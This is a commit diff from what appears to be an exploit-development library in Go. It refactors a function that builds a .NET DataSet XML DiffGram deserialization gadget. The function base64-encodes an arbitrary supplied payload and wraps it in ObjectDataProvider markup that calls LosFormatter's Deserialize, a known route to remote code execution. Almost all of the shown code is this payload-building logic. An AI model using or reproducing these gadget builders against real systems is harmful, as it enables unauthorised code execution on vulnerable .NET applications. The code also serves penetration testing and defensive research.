Skip to content

Commit f1b9090

Browse files
generalized the wrapper logic for new gadgets
1 parent 3bd1e88 commit f1b9090

File tree

1 file changed

+5
-9
lines changed

1 file changed

+5
-9
lines changed

dotnet/dotnetgadget.go

Lines changed: 5 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1046,7 +1046,7 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
10461046
}
10471047
}
10481048

1049-
func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
1049+
func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) {
10501050
name0 := random.RandLettersRange(3, 9)
10511051
name1 := random.RandLettersRange(3, 9)
10521052
name2 := random.RandLettersRange(3, 9)
@@ -1066,13 +1066,9 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
10661066
</xs:element>
10671067
</xs:schema>`
10681068

1069-
innerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, LOSFormatter)
1070-
if !ok {
1071-
return "", false
1072-
}
1073-
b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate)))
1074-
base64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate))
1075-
innerTypeConfuseDelegateBase64 := string(b64String)
1069+
b64String := make([]byte, base64.StdEncoding.EncodedLen(len(payloadIn)))
1070+
base64.StdEncoding.Encode(b64String, []byte(payloadIn))
1071+
payloadB64 := string(b64String)
10761072

10771073
string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
10781074
<` + name0 + `>
@@ -1083,7 +1079,7 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
10831079
<ProjectedProperty0>
10841080
<MethodName>Deserialize</MethodName>
10851081
<MethodParameters>
1086-
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + innerTypeConfuseDelegateBase64 + `</anyType>
1082+
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + payloadB64 + `</anyType>
10871083
</MethodParameters>
10881084
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
10891085
</ProjectedProperty0>

0 commit comments

Comments
 (0)